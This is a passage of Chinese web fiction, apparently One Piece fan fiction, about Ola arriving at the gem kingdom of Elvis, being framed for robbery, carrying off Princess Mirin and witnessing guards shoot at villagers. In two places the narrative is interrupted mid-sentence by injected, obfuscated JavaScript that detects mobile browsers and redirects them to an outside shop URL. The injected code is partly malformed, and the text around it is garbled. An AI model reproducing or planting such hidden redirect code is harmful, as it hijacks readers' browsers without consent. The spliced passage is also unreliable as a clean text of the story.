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就在这时,萨奇端着炖肉挨到了奥拉的身旁。这位厨师长为了宴会忙前忙后,即便在大雪纷飞的夜里,额头也沁出了不少汗水。但看他的表情,却是乐在其中的。 看到奥拉面前几乎没怎么动的食物和苍白的脸色,他想也没想,扭头就用能让附近都能听到的爽朗声音喊道:“喂,马尔科队长~这里有病号~” 他这一嗓子,立刻引来了周遭的关注。 不远处的马尔科闻声,也是抬起了头,蓝色的眸子穿过火光扫了过来。 奥拉的脸腾一下就红了,完全是窘迫的! 她慌忙的摆手,“我、我没事......” 但无论她怎么拒绝,被召唤的船医还是来了。他手中还拿着酒瓶,先是瞥了眼看热闹不嫌事大的萨奇,又转回到奥拉的身上:“感觉哪里不舒服吗,yoi?” “不,没有。”奥拉连忙摇头,她犹豫了一下,还是继续道:“就是,感觉大家...都很习惯,这种事情...” 她断断续续,边说着也在梳理自己的感受。 她明明是拼了命才从黑暗的地方跑出来的,也跟着白胡子海贼团航行了有段时间了。不论是危险的、还是奇特的大海,她都见过了。她决定了要去探索这片海洋,还对古伊娜说出那样大言不惭的誓言,她学习剑术努力的变强。但她真的能适应这样刀口舔血的生活吗?以后面对如同白胡子这样可怕对手的时候,她真的不会后悔自己这时的选择吗? 她已经在融入这个波澜壮阔的世界了,可临到踏出那一步时又犹豫了吗? “奥,你是说那些来挑战老爹的小崽子们?”萨奇勺子挖了一大勺肉送进嘴里,说话含糊不清,“新世界老有这种不怕死的,这个月还少了几次呢...不过,碰到他们也不算麻烦,还能在登岛前补充我们的物资。” 萨奇没说的是,不光是补充库存,有时候还会多几个兄弟。今天这波何去何从,老爹可还没开口呢。 马尔科耸耸肩:“海贼的日常就是这样yoi” 海贼的...日常啊。 奥拉喝了口热汤,有些温乎的液体滑过喉咙,一路留下热度,带着丝丝辛辣和鱼鲜味掉进胃里。 她忽然问:“马尔科队长和萨奇队长,是为什么,出海了呢?” 没料想到奥拉会问这个,萨奇捞肉的勺子停在半空,他几乎没有思考,理所当然道:“当然是大海在呼唤我喽!” 大海就是有这样神奇的能力,不会说话,却能引得无数人类进入其辽阔的领域,并为之深深着迷,哪怕这片海葬送了无数的人,依旧不缺乏前仆后继的鱼儿们。 马尔科静静听着,没立刻回答。仰头喝了口酒,与萨奇如出一辙的理所当然。 “因为老爹收留了无处可去的我,yoi。” 他说完便停了下来,似乎这就是全部。 奥拉没在追问,她转着手中的木碗,身体不自觉的佝偻了些,又很快强迫自己打直。她盯着浓郁的白色鱼汤,声音轻的像是在自言自语,但足够让两位拥有见闻色的队长听清楚了:“我想要去,更远的海域、更广阔的天地......”最后那小小的不确定的犹豫,更难为情的压低了声量,“我...真的可以吗...?” 她像是在做出重要决定前的摇摆不定,已经临门一脚了,却怕自己射不进球门里。明知道自己会踢出去,但还要反复的确认。 无论是萨奇还是马尔科都没有因为奥拉这番话太过惊讶。 萨奇从身边开了瓶酒,自然的递给奥拉,“这种事情,只有去了才知道。” 马尔科也笑了,万千冰凉的雪花化作他眼中柔和的光,“大海是包容的,连我们这样的人都可以在这里找到归宿。” 宴会的氛围给这位平日里十分忙碌的一队长镀上了层惬意,他高举酒杯与萨奇隔空对撞,十分随意,“虽然它很残酷,但根本让人无法拒绝投入它的怀抱,对吧,yoi?” 奥拉不得不承认,这是对的。 仅这一刻来说,她想去,她要去,她必须去。 直面大海的呼唤,直面自己的内心,似乎是每个踏上旅途的人都要经历的事情。 她学着马尔科和萨奇的样子,举起了酒瓶,“...我会回来的,在大海上,与大家,重逢!” _ 在驶出这片雪区的一周后,莫比迪克靠岸了。 离别在计划中到来,所有被救助的遇难者都在座小岛下船,无论是自行安顿还是自己寻找归家的方法,都凭自己的心意行动。 久违的脚踩大地,奥拉牵着贝沙的手目送,这艘巨大船只的离航。 望着消失在海平面的莫比迪克号,望着一览无遗的海面,她深吸一口气,然后呼出去所有的彷徨与不安。 新的生活与冒险就要在这里开始了! 21.埃尔维斯(1) “噢——终于来了——!” “快去卸货!” 从清晨开始,埃尔维斯的码头上就陆续有大船停靠。 码头工人喊着号子,忙的脚不沾地。 但每个人脸上不见疲惫,几乎都带着昂扬的喜色。 “可算是赶上了,你们在晚来一天就要赶不上采石节了。” 裸着上身的中年男人飞快的翻阅着手中的报单,语气有些不满。 商船船长显然和这位收货老板很熟悉,他大笑了两声,从口袋里抽出根烟,撞了撞中年男人的手臂:“这不是赶上了吗?兄弟,今天是那个日子吧,我就是等着这个时间来的,咱们赶紧交完货,也带我去见识见识。” “你这老家伙。”中年男人点燃烟,笑骂了句。他呼出一口烟,餍足的眯起了眼睛,声音压低了些:“听说那位今天也来呢,这次可让你大饱眼福!” 中年男人没有点明,商船船长却知道他在说谁,当下也有些惊讶的望向了人群涌动的街道。 外界价格高昂的珠宝,在这里随处可见。点缀在街道两旁路灯间垂挂的彩带上,镶嵌在道路的中央,在阳光的投射下发出如湖水般波光粼粼的清透彩色。晶莹剔透的各色宝石,被磨成各种形状的扣子,缝在来往行人的衣物上,尽显奢华。就连那穿着朴素的,胸前也别着流光溢彩的别针,让人不由得多看一眼。 埃尔维斯,当之无愧的宝石之国。 这里的国民很好辨认,不论有钱没钱,各家都能拿出大把的宝石珠子。比起走到哪闪到哪的埃尔维斯人,这些外来人简直就和灰扑扑的乞丐一样,即显眼又碍眼。 不过,商船船长一年里要运货来埃尔维斯很多次,早就混成了半个本地人,他身上穿着埃尔维斯特产的长衣,又跟在本地人身边很好的融进了人群里。 只跟着商船来的其他人,尤其是第一次来到这个国家的,便没有提前的准备了。 “请问,这里卖船吗?” 和大部分兴冲冲往城镇里走的船工们不同,一个从商船走下来的女孩,既没有帮忙帮运货物也不对进入城镇表现的那么向往。 她在繁忙的码头上绕了一圈,最后停在了个手持锤子的大叔身边。 “船?” 被拦住的人斜着眼上下打量着女孩,他不耐烦的挥挥手,“走开走开,你买不起,外来人。” 女孩没动,她追问:“多少钱?” “啧。”他随手指向停在岸边的小船,那船连船舱都没有,只孤零零的竖着两面帆,不像能长久航行的样子,他却很敢开价,“50万贝里。” “50...万?” 他像是早就习惯外来人这副没见过世面的样子,有些嘲弄的意味,“没钱问什么问?” 他本想扭头就走,但视线又落回到了女孩腰间的佩刀上和落在身侧缠满绷带的手臂上,眼珠子转了转,看似好心的提醒,“采石节就要开始了,你倒是可以去试试运气。”说着,他露出一个懂得都懂的俏皮表情,“你要是拿了冠军,价格好说~” “哦...谢谢。” 女孩没对对方的态度产生太大的反应,反而微微点头,朝男人表达谢意。 不知道他是不好意思还是有别的目的,没等女孩问他又主动补充道:“第一次来埃尔维斯吧,我们这里可是宝石盛产地。”他脸上又不由自主的露出了骄傲的神情,“所谓采石节,是为了庆祝一年的采收。所有人都可以参加,在限定时间内,采出不限量的宝石并且上交,谁最后的价值最高谁就是胜利者。她采集的宝石会被献给最初的矿脉,用以祈祷来年的收成,胜利者自然也会得到不菲的奖励。” 这个国家的收成不是粮食作物,而是一颗颗华丽的宝石,这让她感到很新奇。 随着男人的指示,她走入了城镇,去寻找报名点。 街上熙熙攘攘,人声鼎沸好不热闹。 她左右扭动脑袋,对入目的一切都赞叹不已。 这就是她启航后到达的第一个国家,人类总是对第一这个数字天然的敏感,奥拉也一样,若不是还记挂着船的事情,她此时的心情还会更放松些。 自她与贝沙下船生活那日起已经过去了四年,第五年她选择了出航。虽然并不是作为船长出行。即便这几年她变强了,也不敢随便找个小船就跑到新世界的大海上去,那跟送死没什么区别。但她们停留的那座岛上的国家,或者说村镇并不发达,出海对她们普通人来说太难了也太危险,她们整座岛的船只都很少,自然没有多余的船可以卖给奥拉。 她没有别的办法,只能交一些坐船费,乘搭通向外界的商船到新的岛屿来看看情况。 好在,这是个非常繁华的国家。 至于是否能赢得比赛,奥拉还是很有信心的,她分辨不出来宝石的价值,难道还不会积累数量吗? 别的不说,奥拉这几年的力量已经有了质的提升。 如果白胡子海贼团的众人再次见到她,或许还会感叹她的变化。 她个子倒是没怎么长,看起来瘦了不少,但也壮了很多。每天雷打不动的训练让她晒黑了,手臂随意垂放时也能看到明显的肌肉线条,看外表她整个人已经和瘦小无力没有任何关系了。 头发随意的盘在脑后,布满疤痕的手臂上缠着用来遮掩的绷带,一方面是想要低调些,另一方面嘛——她就是觉得帅! 等她买到了自己的船,就可以正式开始航行了! 奥拉慢悠悠的跟着人群前进,时不时停下在路旁的店铺前驻足,一点儿不着急报名的事情。 就在她感叹某家店铺的手工艺品的精致时,街上忽然响起了乐声。 其独特的韵律从街道的尽头传递,音符相互交织,庄重而又高调的提醒着所有人。 人群默契的停下驻足,不出几秒就爆发出了热烈的讨论,“来了来了!” 什么来了? 奥拉好奇的伸长脖子,就见一条长队,慢慢的由远处走来。 手持细剑的卫兵大踏步走在最前开路,他们的身后,吹着奏着各种乐器的乐手们尽力的演绎着。落在中央的轿子上,三人含笑站立。 头戴皇冠的富贵男人,手上带着各色珠宝戒指,挥手间不停闪烁。在他身边穿着礼服的华丽女人,手持小巧的扇子,轻轻挡住小半张脸,只露出一双漂亮的眉眼。 这两人的身份毫无疑问—— “是国王陛下和王后陛下!” 人群沸腾了起来,她们没有跪拜,而是高举双手,尽力挥舞着。 “这里!第一大公主这里!” 而站在她们中间的第三个人,让奥拉眼里都闪过一丝惊艳。 被称作第一大公主的少女,她锦衣华服,拖地的裙摆上缀着无数颗价值连城的珠宝,金色的长发仿若太阳的礼物,光辉耀眼,如丝绸般顺滑。蓝色的眼眸比任何一颗宝石都要透亮美丽。她眉目舒展,甜美的笑容如花一般,不论男女都会为之沦陷。 更重要的是.....随着她将手伸入面前的小盒子里,接着高高的扬起,天上就下起了宝石雨。五彩斑斓的、珍贵的宝石洒落在人群中。顿时引起了轰动,人们争先恐后的伸长手,把旁人挤走想要拿到公主扔出来的宝石。 眨眼的功夫,奥拉左右都有人贴了上来,她被夹在中间无法随意离开,只能跟着人潮左右移动。 正当她惊讶这个国家王室的财力,并且仅用一秒就加入了接宝石大军里时。一股力突兀的从她后面贴了上来,开始她还以为是激动的群众并不在意,但下一秒,那股力道顺着后腰探到了前面,伸入了她的衣服口袋里,并极快的向外抽离...... 啪! 她高举的手猛地扣了下去,死死钳制住这只作怪的手。她声音不高不低,在吵嚷的人群中足够清晰:“拿出来。” 站在她身后的是个穿着埃尔维斯本地服饰的年轻男子,看年纪不大,估计还是个小少男。 他不答话,想要抽回手,但任他怎么使力连脸都憋红了,被抓住的手就是纹丝不动。 奥拉不愿麻烦变大,她手上力道不变,轻轻一掰,那少男就发出了吃痛的低呼,偷走她珠子的手使不上力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995319|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气只得松开。 蓝色的珠子掉回了奥拉的手里,她也就顺势放开了还在挣扎的少男。 她扭过头,没有追究的意思,“别再偷了,这次先放过你。” 可那少男摸着自己被掐红的手腕,不服气的盯着奥拉的背影看了会。 见对方没有追究的意思,他还偏就要反其道而行之,上手抓住奥拉的手腕,大喊:“抢劫!外来的乡巴佬抢我的宝石,快来人抓住她!” 在埃尔维斯抢劫是重罪,他的大喊立刻就引来了群众的关注,她们先是看到了求助的人,见是个少年,立即就把嫌恶的目光投给了奥拉,默契的拉开和奥拉的距离,又确保不会让她逃走的围成小圈。连行至一半的皇家撒钱队都停了下来,站在高高的轿子上,三位皇室向这边的骚乱投以关切的视线,国王更是派卫兵来了解情况。 听到对方的倒打一耙,奥拉都快被整笑了,她丝毫不慌,就由着对方抓着她的手,“你有什么证据证明我抢劫?还是在这么多人的面前抢劫?” “反正就是你,你抢了我的宝石!”少年没想到奥拉反应这么快,他扯不出证据干脆胡搅蛮缠,硬是逼着自己掉了两滴眼泪,“我父亲欠下赌债出海再也没有回来,母亲也生病了,小妹饿的天天哭!这个宝石我们家唯一的希望了,是我给母亲治病的....你还给我...求你了!” 奥拉:好家伙,沾赌的爹生病的妈,挨饿的小妹破碎的他。好一手颠倒黑白,道德绑架。 “喂!外乡人,还给他!” 他的话落入人群中激起了响声,倒不是这些人有多同情这个少年,而是他们不认为本地人会为了宝石污蔑一个外来人。 他们宝石多的都能用来做衣服扣子,虽然这种宝石一般都是开出来的边角料或者没有价值的那种。 少年的话虽然漏洞百出,但她们更愿意相信是少年为了拿回自己的宝石口不择言,这不能怪他,他还是个孩子啊! “这人没有证据,他说抢劫就抢劫啊!” 群众里有偏心的,自然也有公正的。此言一出,人群又骚动起来,但没人反驳这个声音。 直到一只手高举过头顶,吸足了人们的视线后,才愤然的开口:“我看见了!就是她抢了东西,放回口袋里了!” “卫兵,快抓住她!” 他声音落下,成功在人群中激起了第二次回响。 奥拉记得十分清楚,她根本就不认识眼前这个人,这个人也从未出现在她身边过。 这还有哪里不明白的,这分明是团伙作案! 奥拉怎么可能呆在原地乖乖被抓,她身形灵巧的躲过卫兵们的围拢,在人们的惊呼中,闪进了人群里。也多亏了这四年间的锻炼,她能轻松的挣脱开想要抓住她的手。 借着众多人的掩护,奥拉不怕卫兵会开枪,她边往码头跑,边想着直接抢艘船算了。 这个原本并不想太快以海贼身份出海的新人船长,出航第一天就遇到了让她原地道德倒退的麻烦。 她步子轻快,轻而易举的就甩掉了陷在人群中的卫兵,来到了街道的另一头。 她放慢步子,侧头回看情况。 却见一枚红色的宝石,紧跟在她的头后,随着她侧头的动作划过她的脸颊,冰冷的触感让她汗毛乍立。 是谁? 还没等她看清是谁出手,第二颗绿色的宝石直冲她面门而来。 她回神躲避,但出手的人似乎早有预料,又有两颗宝石紧跟在绿色宝石的后面,当她躲过绿色宝石时,触地弹起的瞬间撞上两个后来者,以后面刁钻的角度撞上了奥拉的腘窝。 震得奥拉当即半跪在地,被后赶来的卫兵用刀抵着按在地上。 她不可置信的顺着宝石的来路反推回去,找不到任何有扔出这样攻击的可疑人,她离那边已经很远了,从她的视角仅能看到几个拍手叫好的人,还有那高轿子之上,仰视众人的三个皇室。 究竟是谁? 奥拉不断的巡视,接着第二个念头就不可抑制的升起 有没有可能来和她组队? 22.埃尔维斯(2) 即便被刀架在脖子上,奥拉也没有多少慌张。 这四年里,她在争霸日志里,已经数不清楚自己死过多少次了。即便知道里面的死亡都是假的,也多多少少调低了她对死亡恐惧的阈值。 刀都还没捅到身体里,怕什么? 她手灵活的探向腰侧的佩刀。 “喂,别动!” 卫兵发现了她的小动作,大喝一声,抬脚踹向她不安分的手。 卫兵的刀架在她的脖颈上,让她连转头都难。 但她背后像长了眼睛。手中动作翻飞,握住刀柄后,手腕转动。长刀带着刀鞘在她手里十分听话,鞭子般准确的抽中了卫兵的大腿内侧的软肉。 卫兵立刻吃痛的倒退两步,给了奥拉挣脱围堵的机会,她原地翻滚躲过其余卫兵砍来的利刃,拉开距离后左手撑着地面后翻起身,右手向外一拽,刀身顺滑出鞘挡在身前。 没人想到她居然能在几个卫兵的包围下逃走,人群顿时乱了起来。就在这时,又一枚宝石直直朝着奥拉的位置射来。 这次奥拉早有了防备,就等着宝石出现呢。她斜劈下去,漂亮的宝石瞬间从中间被砍成两半。 同时奥拉也看清了出手的人是谁。 她略微怔愣几秒,眉毛微动,心中忽地升起了一个念头。 “卫兵,快拦住她呀!” “她...她怎么过来了?!” 在人们一阵阵惊呼声中,奥拉不与卫兵周旋,也并未转身逃跑,而是向着人群飞快的跑去。见状,民众互相推搡着往回跑,尤其是原先跟着跑出来看热闹,现如今离奥拉最近的一波人,急切的想要钻回群众中去,却被身后的人墙堵着走不了。慌乱间都顾不上还有皇室成员在场,皆都往大街中心跑。若不是还有卫兵和乐团挡着,怕是会直接冲撞了皇室的轿子。只现在她们的情况也不乐观,前后都是人,既前进不了,也后退不得。 “镇静!镇静!” 被人群包围,轿子不稳。国王扶着边缘的支撑柱,大声喝止民众。 然而他的声音刚飘下轿子就直接掩埋在了人潮里,唯有离得近的抬轿人听见了,努力的复述国王的话。 但当人面对一个提刀向自己跑来的抢劫犯的时候是很难保持冷静的,即便先前被抢劫的不是她们。 在这期间,宝石的攻击持续不断,不论奥拉身边有多少人,都能准确无误的绕过她们,从不同角度朝着奥拉袭来。 若不是奥拉已经发现了那个人的位置,恐怕都会以为有狙击手在不同方位瞄着自己呢。 这也更让她肯定了自己的冲动行为。 正所谓心动不如行动,错过了可能下次就很难再见到了。 奥拉算好距离,奋力一跳,踩着人的肩膀,越过众多人的头顶,在众目睽睽之下,落到了皇室轿子上。 落到了第一大公主的面前。 她们近到可以互相听见对方心跳的声音。 公主的笑脸僵在脸上,她不可置信的伸腿向后躲。 奥拉却在第一时间抓住了公主的手臂,将她向前带。 许是太过震惊,公主手被奥拉轻而易举的举起来。透过她手掌的空隙,奥拉看到了她手中泛着独特光泽的宝石。 如果奥拉没上来,这就是下一枚攻过来的宝石。 再次确认自己没找错人后,奥拉脸上扬起了大大的微笑,她下巴稍抬起带着发丝滑落,露出脖颈侧沿直至占据了小半张脸的疤痕。注视公主的目光神采奕奕:“你好,我叫奥拉。你要不要和我一起出海?” 短暂的寂静过后,回答奥拉的先是公主身后王后的尖叫。 “你、你,大胆刺客,快放开我的公主!” 奥拉攥着公主的手臂,身子一歪,看了看躲在后面指着她的王后。 对王后脱口而出的称谓有些奇怪,但并未深究。 另一侧的国王离奥拉很近,他紧紧抱着柱子没有说话,只眼神一直向公主暗示着什么。 皇室的三人中,只有公主是最冷静的:“抱歉,这位阁下。我不能与你出海,请你放开我。” “噢......”对于公主的拒绝奥拉早有预料,若是对方真松口答应,那还会让奥拉惊喜一下。她点头,将刀插回刀鞘:“好的,那拜托帮我个忙。” 什么忙? 公主还没有问出口,就感觉身体一轻,接着整个人被抱起腾空,随即一阵风从耳边吹过,再睁眼时她的子民,她的父皇母后全都在快速倒退。 “欸——!!!” 被留下的人们,被袭击的恐惧在这一瞬间抛之脑后,集体仰头看着如法炮制跳出人群的奥拉,以及—— “公主,公主被挟持了!!” “救驾,救驾啊!” 身后的嘈杂,已经和奥拉与公主无关了。 奥拉对埃尔维斯的街道不熟悉,便往偏僻的小巷子里面钻,七绕八绕,越跑越远。直到彻底甩掉卫兵,听不到身后嘈杂的人声才停下来。不知不觉这里已经离开了居民区和大街道,周围树林环绕,在这片高坡的侧边,能看到大片波光粼粼的海面。 奥拉将公主放下来,下一秒,她只觉喉咙微凉。视线下移,圆润宝石的边缘抵在了她的脖颈前。 奥拉眨眨眼:“这个杀不死人的。” 公主不甘示弱:“你可以试试。” “嘿,我没想伤害你。”奥拉举起双手张开放在脸前,一副投降的样子。“是你们的人先诬陷我的,我可没有抢劫。” 公主无动于衷,当这张美貌的面孔沉下表情时,一种冷酷的、不可侵犯的威严便开始从她的五官中流淌出来,让人不敢造次。 “再说了,如果你不想走的话,我能带走你吗?”奥拉用食指轻轻推开宝石,颇有些理直气壮。 也不是奥拉乱说,以公主投掷宝石的水平来看,她几乎能透过公主宽大的袖子看到她有力的手臂。而且,在她们跑出来的过程中,这位公主可一直未曾反抗。如果公主再次用宝石攻击她,在如此近的距离下,奥拉是躲不过的。 不知道是什么原因,这位公主,可不像她表现出的那样不情愿。 “哼~”像是 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米琳侧过头,视线落在大海上。语气淡淡,“你想让我帮什么忙?” “我想要一艘船。”奥拉耸肩,不太在意米琳的态度。 “船?”米琳语调忽地升高,在主人的刻意掩盖下,又降回平静,只是那字里行间的试探和好奇是掩盖不住的:“你...是海贼吗?” “算、算是吧。”奥拉有些含糊,摸了摸后脑勺。 实际她本人对这件事也一直没有定论,毕竟她生长在红色的国土下,接受的是和平教育。虽然成为海贼不代表她会乱杀无辜,但真的代表她会和世界政府对着干。 如果要在这片大海上航行,完成她的梦想,和系统的任务。这个头衔是必定要带上的,早晚的事情而已。 对这件事她完全是走一步看一步,态度始终暧昧。 倒是因为发现了米琳,把她往前推了一步,干脆就顺势决定下来了。 “你去过哪里?外面是怎么样的?” 米琳不像一般人听到海贼的样子,反而在确认后有些激动。她飞快转过头,眼睛都亮了起来。 被美颜暴击的奥拉沉默了会儿,她伸出手指了指脚下:“这里是第一站。” 米琳的期待落空,她没有表现出来,只轻微颔首:“我的荣幸。” “你真奇怪。”奥拉直言不讳。 一个如此高傲的人,却将自己框了起来。 听到完全算不上夸奖的话,米琳笑了,真诚的,短暂的。 一闪而过后,又束起了高墙:“海贼,我劝你快点离开这个岛。如果你无法在这里杀了我,那么我对你来说就毫无用处。” “......”奥拉意识到这是一句警告。 享受了片刻脱离日常与视线的公主,落下了她高贵的头颅,浅浅的笑容定在脸庞,只是没有温度。 轻飘飘的扔下了个重磅炸弹。 “这里马上会有艘世界政府的船只靠岸。” 23.埃尔维斯(3) ......世界政府? 奥拉有些惊讶。 米琳没有错过奥拉表情的变化,可她并未继续深入这个话题。转而又回到了奥拉最初的求助上:“如果你需要船,我知道一个人或许能够帮到你。” 她一点没有被劫持的自觉,竟主动给劫匪提供帮助。落在奥拉眼里,便成了公主态度松动的证据。 可奥拉还没向米琳表达自己的喜悦,米琳就先一步打断了她:“我无意加入你,奥拉阁下。” 米琳保持着皇家贵族应有的礼仪,小幅度的侧了侧头:“我只是想看看……”话到一半,她收了声。话锋一转有些无情道:“如果我们中途被拦截,我是不会阻止卫兵的,海贼小姐。” 奥拉盯着她看了会儿,最后也没问米琳到底要看些什么。 她跟在米琳身边,再次走入了这个国家。 只不过她们没有进入城镇,而是沿着高坡、树林一路向上。走着走着,铺好的路逐渐消失,被坑坑洼洼的土地取代。 朝上张望,看不到路的尽头,四周已被茂盛的植被包围,这些植被间有的挤挤挨挨亲密无间,有的孤零零的竖立,和其他同胞保持着距离。它们间的间隔组成密密麻麻的通道,伸头看去只能看见低垂的树叶,在远些只有浓浓的墨绿稠成黑洞洞的一片,通往的是条完全未知的道路。 米琳似乎很熟悉这里的地形,她无视所有可能的岔路,转角,非常笃定的走着一条线路。 她华丽的裙摆拖在地上沾染了泥土,尚好的衣料被小石子剐蹭出一个个细小的痕迹,只有绣在上面的宝石安然无恙的反射着七彩的光。 奥拉有些疑惑,这大片没有人为开发的森林,看起来不像是公主会经常行走的道路。她沉吟片刻,也是为了缓解些因为不熟带来的尴尬氛围,状似无意的开口:“米琳,你经常走这条道吗?” 米琳很干脆:“这是第一次走。” “啊?”奥拉顿了下,她突然想到一个问题:“...你真的知道怎么走吗?” “嗯。”公主回复的斩钉截铁,但没让奥拉放心太久。她的语气非常轻松自然:“我在地图上看到过,只要一直向上走就能到。” 奥拉:“全...全国地图?” 米琳:“全岛地图。” 奥拉险些石化:这不是完全不认路吗! 在手中没有地图、本人也没有真正行走过的地方,仅仅凭着曾经可能看到过的印象,真的能顺利到达目的地吗? 奥拉深表怀疑。 她跟着米琳又走了一段路,逐渐穿出树林,没有了枝叶遮挡光线,远处一片开阔。在更低处一座座泥瓦小屋有序排列,看起来是座村庄。 这让前路不明的状况得到了缓解。 米琳像是一切尽在掌握中的样子给了奥拉个“你看吧”的骄傲小眼神。 奥拉则非常上道的朝着米琳竖起两个大拇指。 不过两人都没有轻易前往村庄,因为她们发觉,远处在通往村庄的羊肠小道上又出现了一伙人。 村庄内。 “是的,你们没听错~有了这个多功能饭煲,就算是厨房小白也能做出美味佳肴。”被乱糟糟头发遮住眼睛的男人踩在桌子的边缘上踢脚行走,每每都能在桌子被压倒前走到下一个位置,一副轻松自如的样子。他左手举着个金闪闪的陶盆,话音落后,掀开盖子,一股香味和热气霎时从陶罐里涌了出来。 “哇——!!”坐在底下的众人无不发出惊呼,只因一刻钟前,男人当着她们的面将乱七八糟的食材丢入陶罐,没有生火,没有调料,现在不过说话的功夫,居然已经熟了! 见气氛热烈,男人干脆跳下桌子,从放在门口比他整个人要大两倍不止的背包里掏出几个小碗,将陶罐内的食物分发给众人。 金灿灿的米饭中,掩埋着如同红绿宝石的胡萝卜丁和黄瓜丁,完整的火腿片竟不知为何成了火腿丝,丝丝缕缕缠绕在米饭上。 不过是顿简单的宝石炒饭,入口却不似埃尔维斯人平时自家做的那般。米饭粒软硬适中,用牙齿从中间咬断,米饭的甜和鸡蛋的鲜便如脱缰的野马,在口腔里霸道乱窜。黄瓜和萝卜的清爽融入的刚好,冲刷掉嘴里的油腻,短暂的爽口后又期待起下一勺入口。 竟真是美味可口。 瘦削的男人,恰到好处的双手捧起陶罐,像是信徒拜见他信仰的神明那样虔诚:“哦~多功能饭煲就是将不同的食材做成美味的食物~哦~多功能饭煲煎炸闷炖煮功能多种多样~哦~多功能饭煲厨房好帮手~” “普鲁伊特先生,这饭煲贵不贵呐?” 立刻有心动的村民上前询问,即便那不问的也暗戳戳的向中间又歌又舞的普鲁伊特投去视线,明显也十分好奇这神奇饭煲的价格。 听到问价的,刚刚还尽力推销的人马上沉下脸,他把陶罐抱紧怀里,生怕被人抢走的模样:“这可不卖,我手里存货不多,都卖给你们我还用什么?” 见他如此,那些心动的人就不干了,堵在门口不让他走:“卖一个也行啊!” “真心想要?”普鲁伊特犹疑的声音从他遮挡着脸的立领传出来,似是被逼无奈才不得不松口:“好吧,我只卖你们20套,多的是没有了。这东西我在外面可都卖1000贝里的....”明明看不到他脸上的表情,但在场所有人都能感受到他的肉痛,“但是,我也经常来咱村子,都不是外人了,给你们个福利价...599?不行...299...这样吧199贝里你们拿走,真不能再低了!” 话了他又直觉不行,摆着手要改价。村民们哪里肯,身上带了钱兜的立刻掏钱,没带的当场就跑回家拿。连那当时没打算买的,听到这价格也起了心思,纷纷向普鲁伊特订购。生怕他临时改口,拿不到低价的多功能饭煲。 小餐馆里人走了大半,不是心满意足离去的,就是回家取钱的。普鲁伊特双腿交叠放在桌子上,仰在椅子上数钱,哼着小调子,那心情不可谓不好。 就在他等着回家取钱的村民回来时,餐馆外忽然喧哗一片。 他藏在帽子下的耳朵动了动,当即站起身,背起他那能将整个人挡住的巨大背包。走路异常灵巧地绕到餐馆的后巷,打算溜之大吉。然而,刚到巷口,他就被村口出现的人给堵了回来,暗骂一声:“见鬼的...” 嘟囔着落下背包,开始翻找起来。 村口,乌泱泱的聚了一群人,原先跑回家拿钱的也都被这边的动静吸引过来。 有个青年手脚带着枷锁,垂着头站在卫兵身侧。村长拄着拐不时看一眼青年的状况,说话都有些哆嗦:“大人,这、我村里这孩子是怎么了?” 卫兵不苟言笑:“他偷了矿区的宝石,被我们抓住人赃并获。他已经交代了,你们村里还有同伙。” 村长大惊失色,差点没站稳,他用拐杖戳了戳地面,勉强稳住身子:“这、这怎么会呢?...阿力,你不是今天要进城去吗?” “闭嘴!”卫兵不耐的抽出枪,指着村长:“给我搜,凡是家里有宝石的,都给我押走一人,带回去审问。” 在埃尔维斯住的本地人,谁家会缺宝石呢? 卫兵这意思就是要把全村每户都带走一人的意思了。 “等等,这不行啊,我们明明已经...”村长想到了什么,他面色一变,焦急的想要提醒卫兵。 卫兵冷笑一声,手指微动就要扣动扳机。 “砰!” “啊——!村长!”村民们不敢上前,甚至有的已经回家多了起来。独留在这处的几人看着这幕惊恐万分,胆小的已经捂住了眼睛。 年迈的村长跌落在地,拐杖被甩了出去。 枪口落下,卫兵扶着自己的手臂,不多时鬓边止不住的落下汗珠。 在距离村长脚边几厘米的距离,多出了个冒烟的灰洞和一颗黄灿灿的宝石。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17016007|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“怎么可以对平民开枪?” 瞬间警戒的卫兵们先一步闻声寻去,只见村外的缓坡上竟不知什么时候多了个人。 那少女身姿高挑,犹如从天而降的神明,拥有驱使阳光的能力,为她身躯镀上金光。 她紧蹙眉头,不悦与愤怒几乎要冲出蓝色的眼眸。 卫兵领队看到她那身华贵的衣服时还心有疑虑,可当发现她衣服上不规则排列的宝石,又听到她的质问后又变的十分坚定。他调转枪口,对着突然出现的少女:“抓住她,她身上的衣服一定是偷的,带回去调查!” 把公主带回去调查吗?掉马现场一定很精彩——虽然看情况,米琳并不会被抓。 奥拉趴在缓坡后的草地上,被树丛挡掉了大部分的身影。她手搭在刀柄上,早做好了帮助米琳的准备。 可米琳并不需要。 她简直就是百发百中的神射手,拽下裙摆上的宝石当作自己的子弹,每一次发射都像是提前计算好了轨道,最后全都精准无误的到达。 不过距离太远削弱了米琳的力度,卫兵们只无法靠近米琳,被宝石砸的头晕眼花,并没有收到太大的伤害。 这样下去可不是办法。 奥拉拽了拽米琳的裙摆,把自己的蓝色珠子掏出来递给米琳:“米琳,把这个扔过去。” 米琳有些疑惑的看过来,奥拉只咧嘴一笑。 这几年,可不止她是有成长的。 “喂,你们挡住她,我来射击。”卫兵领队顶着满头大包,被打出了火气,恶狠狠的下达命令。 其余卫兵状态并不比他好多少,但碍于长官的威严不敢违抗,几乎每个人都顶着满脸的包充当起了盾牌。 蓝色的珠子砸到其中一人身上,和其余宝石一样没有引起卫兵们的注意。 